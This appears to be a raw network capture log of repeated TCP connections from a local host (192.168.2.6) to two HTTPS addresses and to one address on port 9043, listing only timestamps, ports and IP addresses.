Nov 13, 2024 18:22:03.397479057 CET	50007	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:03.397495031 CET	443	50007	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:03.402448893 CET	50008	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:03.402494907 CET	443	50008	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:03.402551889 CET	50008	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:03.402765036 CET	50008	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:03.402781010 CET	443	50008	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:03.541928053 CET	50009	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:03.547103882 CET	9043	50009	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:03.550091982 CET	50009	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:03.553949118 CET	50009	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:03.558959007 CET	9043	50009	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:04.417968035 CET	9043	50009	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:04.417980909 CET	9043	50009	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:04.417985916 CET	9043	50009	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:04.417993069 CET	9043	50009	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:04.417999029 CET	9043	50009	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:04.418102026 CET	50009	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:04.419647932 CET	443	50008	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:04.419791937 CET	50008	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:04.426527023 CET	50008	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:04.426537991 CET	443	50008	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:04.427901030 CET	50008	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:04.427906036 CET	443	50008	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:04.468136072 CET	50009	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:04.473319054 CET	9043	50009	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:04.703178883 CET	9043	50009	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:04.703243017 CET	50009	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:04.704911947 CET	50009	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:04.711194992 CET	9043	50009	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:04.996776104 CET	443	50008	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:04.996869087 CET	50008	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:04.996901989 CET	443	50008	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:04.996967077 CET	50008	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:04.997710943 CET	50008	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:04.997756958 CET	443	50008	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:05.018647909 CET	50010	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:05.018692017 CET	443	50010	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:05.018791914 CET	50010	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:05.019010067 CET	50010	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:05.019035101 CET	443	50010	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:05.143867970 CET	9043	50009	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:05.143929958 CET	50009	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:06.670964956 CET	443	50010	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:06.671026945 CET	50010	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:06.696238995 CET	50010	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:06.696268082 CET	443	50010	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:06.697561979 CET	50010	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:06.697578907 CET	443	50010	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:07.413280964 CET	443	50010	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:07.413342953 CET	50010	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:07.413369894 CET	443	50010	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:07.413393021 CET	443	50010	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:07.413471937 CET	50010	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:07.413791895 CET	50010	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:07.413804054 CET	443	50010	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:07.417776108 CET	50011	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:07.417854071 CET	443	50011	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:07.417922974 CET	50011	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:07.418181896 CET	50011	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:07.418215036 CET	443	50011	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:08.316803932 CET	443	50011	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:08.316987038 CET	50011	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:08.317296982 CET	50011	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:08.317311049 CET	443	50011	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:08.318336964 CET	50011	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:08.318351030 CET	443	50011	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:09.125906944 CET	443	50011	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:09.125984907 CET	50011	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:09.125992060 CET	443	50011	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:09.126036882 CET	50011	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:09.126210928 CET	50011	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:09.126234055 CET	443	50011	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:09.141505957 CET	50012	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:09.141561985 CET	443	50012	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:09.141648054 CET	50012	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:09.141897917 CET	50012	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:09.141911030 CET	443	50012	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:09.788017035 CET	443	50012	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:09.788113117 CET	50012	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:09.788553953 CET	50012	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:09.788558960 CET	443	50012	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:09.789679050 CET	50012	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:09.789685965 CET	443	50012	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:10.189136982 CET	443	50012	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:10.189229012 CET	443	50012	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:10.189301968 CET	50012	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:10.189452887 CET	50012	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:10.189600945 CET	50012	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:10.189635992 CET	443	50012	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:10.194312096 CET	50013	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:10.194344044 CET	443	50013	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:10.194525003 CET	50013	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:10.194706917 CET	50013	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:10.194719076 CET	443	50013	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:11.153109074 CET	443	50013	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:11.153188944 CET	50013	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:11.153697968 CET	50013	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:11.153709888 CET	443	50013	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:11.155220985 CET	50013	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:11.155231953 CET	443	50013	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:11.723365068 CET	443	50013	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:11.723452091 CET	443	50013	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:11.723472118 CET	50013	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:11.723674059 CET	50013	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:11.723674059 CET	50013	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:11.737982035 CET	50014	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:11.738019943 CET	443	50014	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:11.738107920 CET	50014	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:11.738348961 CET	50014	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:11.738363981 CET	443	50014	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:12.028456926 CET	50013	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:12.028497934 CET	443	50013	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:12.681530952 CET	443	50014	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:12.681683064 CET	50014	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:12.682142973 CET	50014	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:12.682153940 CET	443	50014	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:12.683232069 CET	50014	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:12.683237076 CET	443	50014	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:13.418339968 CET	443	50014	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:13.418392897 CET	50014	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:13.418409109 CET	443	50014	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:13.418426037 CET	443	50014	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:13.418462992 CET	50014	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:13.418509007 CET	50014	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:13.418880939 CET	50014	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:13.418890953 CET	443	50014	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:13.424374104 CET	50015	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:13.424411058 CET	443	50015	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:13.424463987 CET	50015	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:13.424714088 CET	50015	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:13.424731970 CET	443	50015	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:14.294651031 CET	443	50015	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:14.294877052 CET	50015	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:14.296149015 CET	50015	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:14.296149015 CET	50015	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:14.296154976 CET	443	50015	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:14.296166897 CET	443	50015	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:15.100958109 CET	443	50015	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:15.101025105 CET	50015	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:15.101037025 CET	443	50015	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:15.101074934 CET	50015	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:15.101080894 CET	443	50015	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:15.101094961 CET	443	50015	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:15.101119041 CET	50015	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:15.101139069 CET	50015	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:15.101403952 CET	50015	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:15.101413965 CET	443	50015	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:15.111269951 CET	50016	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:15.111309052 CET	443	50016	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:15.111382008 CET	50016	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:15.111556053 CET	50016	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:15.111565113 CET	443	50016	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:15.981848001 CET	443	50016	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:15.982039928 CET	50016	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:15.983400106 CET	50016	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:15.983400106 CET	50016	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:15.983408928 CET	443	50016	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:15.983421087 CET	443	50016	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:16.693943024 CET	443	50016	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:16.694030046 CET	443	50016	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:16.694102049 CET	50016	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:16.694516897 CET	50016	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:16.694531918 CET	443	50016	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:16.712104082 CET	50017	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:16.712141991 CET	443	50017	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:16.712518930 CET	50017	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:16.712701082 CET	50017	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:16.712713957 CET	443	50017	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:17.325167894 CET	443	50017	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:17.325529099 CET	50017	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:17.326409101 CET	50017	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:17.326425076 CET	443	50017	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:17.330960035 CET	50017	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:17.330966949 CET	443	50017	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:17.753226042 CET	443	50017	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:17.753300905 CET	443	50017	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:17.753343105 CET	50017	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:17.753343105 CET	50017	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:17.753678083 CET	50017	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:17.753691912 CET	443	50017	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:17.766799927 CET	50018	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:17.766843081 CET	443	50018	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:17.766907930 CET	50018	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:17.767095089 CET	50018	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:17.767102957 CET	443	50018	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:18.397838116 CET	443	50018	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:18.397919893 CET	50018	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:18.398279905 CET	50018	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:18.398286104 CET	443	50018	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:18.399409056 CET	50018	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:18.399414062 CET	443	50018	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:18.782831907 CET	443	50018	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:18.782891035 CET	50018	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:18.782906055 CET	443	50018	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:18.782948017 CET	50018	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:18.782958031 CET	443	50018	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:18.783056974 CET	50018	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:18.783272028 CET	50018	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:18.783287048 CET	443	50018	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:18.789077997 CET	50019	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:18.789130926 CET	443	50019	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:18.789199114 CET	50019	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:18.789433956 CET	50019	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:18.789447069 CET	443	50019	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:19.737555981 CET	443	50019	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:19.737665892 CET	50019	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:19.738003016 CET	50019	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:19.738008022 CET	443	50019	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:19.738989115 CET	50019	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:19.738993883 CET	443	50019	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:20.511687994 CET	443	50019	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:20.511785984 CET	50019	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:20.511815071 CET	443	50019	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:20.511892080 CET	50019	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:20.511902094 CET	443	50019	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:20.511950970 CET	50019	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:20.512108088 CET	50019	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:20.512124062 CET	443	50019	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:20.532740116 CET	50020	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:20.532767057 CET	443	50020	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:20.532869101 CET	50020	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:20.533058882 CET	50020	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:20.533071995 CET	443	50020	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:21.408925056 CET	443	50020	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:21.409127951 CET	50020	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:21.409501076 CET	50020	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:21.409504890 CET	443	50020	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:21.410765886 CET	50020	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:21.410770893 CET	443	50020	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:22.159336090 CET	443	50020	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:22.159405947 CET	443	50020	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:22.159405947 CET	50020	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:22.159471035 CET	50020	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:22.159738064 CET	50020	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:22.159751892 CET	443	50020	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:22.164762020 CET	50021	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:22.164807081 CET	443	50021	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:22.165163040 CET	50021	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:22.165319920 CET	50021	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:22.165334940 CET	443	50021	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:23.039530039 CET	443	50021	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:23.039589882 CET	50021	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:23.040195942 CET	50021	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:23.040208101 CET	443	50021	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:23.041510105 CET	50021	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:23.041527033 CET	443	50021	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:23.919183016 CET	443	50021	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:23.919321060 CET	50021	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:23.919334888 CET	443	50021	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:23.919451952 CET	443	50021	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:23.919507980 CET	50021	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:23.919586897 CET	50021	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:23.920006037 CET	50021	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:23.920021057 CET	443	50021	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:23.938986063 CET	50022	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:23.939028025 CET	443	50022	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:23.939130068 CET	50022	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:23.939363003 CET	50022	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:23.939372063 CET	443	50022	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:24.805555105 CET	443	50022	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:24.805613041 CET	50022	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:24.806026936 CET	50022	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:24.806034088 CET	443	50022	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:24.807379007 CET	50022	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:24.807385921 CET	443	50022	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:25.548026085 CET	443	50022	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:25.548114061 CET	50022	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:25.548130035 CET	443	50022	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:25.548144102 CET	443	50022	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:25.548187971 CET	50022	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:25.548530102 CET	50022	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:25.548546076 CET	443	50022	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:25.554478884 CET	50023	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:25.554527998 CET	443	50023	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:25.554595947 CET	50023	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:25.554816008 CET	50023	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:25.554837942 CET	443	50023	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:26.173180103 CET	443	50023	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:26.173413992 CET	50023	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:26.174173117 CET	50023	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:26.174180984 CET	443	50023	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:26.178221941 CET	50023	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:26.178230047 CET	443	50023	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:26.606791019 CET	443	50023	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:26.606874943 CET	50023	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:26.606903076 CET	443	50023	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:26.606961012 CET	50023	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:26.606983900 CET	443	50023	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:26.607086897 CET	50023	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:26.607095003 CET	443	50023	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:26.607150078 CET	50023	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:26.607155085 CET	443	50023	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:26.607320070 CET	50023	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:26.607361078 CET	50023	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:26.607377052 CET	443	50023	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:26.632679939 CET	50024	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:26.632726908 CET	443	50024	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:26.632790089 CET	50024	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:26.633074999 CET	50024	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:26.633089066 CET	443	50024	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:27.540879965 CET	443	50024	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:27.540954113 CET	50024	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:27.542052031 CET	50024	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:27.542063951 CET	443	50024	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:27.542916059 CET	50024	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:27.542924881 CET	443	50024	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:28.072766066 CET	443	50024	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:28.072890043 CET	50024	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:28.072905064 CET	443	50024	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:28.073009968 CET	50024	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:28.073906898 CET	50024	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:28.073955059 CET	443	50024	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:28.074122906 CET	443	50024	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:28.074285984 CET	50024	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:28.074285984 CET	50024	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:28.078411102 CET	50025	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:28.078452110 CET	443	50025	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:28.078643084 CET	50025	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:28.078845024 CET	50025	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:28.078855038 CET	443	50025	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:28.687246084 CET	443	50025	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:28.687333107 CET	50025	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:28.687962055 CET	50025	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:28.687968969 CET	443	50025	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:28.688972950 CET	50025	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:28.688977957 CET	443	50025	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:28.991178989 CET	443	50025	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:28.991247892 CET	50025	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:28.991262913 CET	443	50025	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:28.991307020 CET	50025	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:28.991326094 CET	443	50025	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:28.991369963 CET	50025	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:28.992014885 CET	50025	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:28.992029905 CET	443	50025	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:29.005898952 CET	50026	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:29.005938053 CET	443	50026	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:29.006143093 CET	50026	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:29.006364107 CET	50026	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:29.006381989 CET	443	50026	104.21.92.105	192.168.2.6
